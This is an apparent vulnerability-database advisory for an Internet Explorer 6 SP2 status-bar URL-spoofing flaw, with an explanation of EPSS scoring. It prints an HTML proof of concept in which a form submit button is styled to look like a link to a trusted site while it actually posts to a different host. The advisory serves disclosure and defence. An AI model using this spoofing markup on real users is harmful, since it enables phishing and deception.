CVE Descriptions
Microsoft Internet Explorer 6.0 SP2 allows remote attackers to spoof a legitimate URL in the status bar and conduct a phishing attack via a web page that contains a BASE element that points to the legitimate site, followed by an anchor (a) element with an empty "href" attribute, and a FORM whose action points to a malicious URL, and an INPUT submit element that is modified to look like a legitimate URL.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Microsoft Internet Explorer is reported prone to a URI obfuscation weakness. The issue is due to a failure of the affected application to properly handle specially crafted HTML anchor URI tags and various form tags.
This issue may be leveraged by an attacker to display false information in the status bar of an unsuspecting user, allowing an attacker to present web pages to users that seem to originate from a trusted location.
This vulnerability is reported to affect Internet Explorer 6 SP2, other versions might also be affected.
<base href="http://www.example1.com">
<a href=><form action="http://www.example2.com"
method="get"><INPUT style="BORDER-RIGHT: 0pt; BORDER-TOP: 0pt;
FONT-SIZE: 10pt; BORDER-LEFT: 0pt;
CURSOR: hand; COLOR: blue; BORDER-BOTTOM: 0pt; BACKGROUND-COLOR:
transparent;TEXT-DECORATION: underline" type=submit
value=http://www.example1.com></form></a>
Another proof of concept exploit has been made available. This method employs the 'id' parameter embedded inside an anchor tag that is controlled by a 'label' tag, allowing the label tag to control what value is presented to an unsuspecting user:
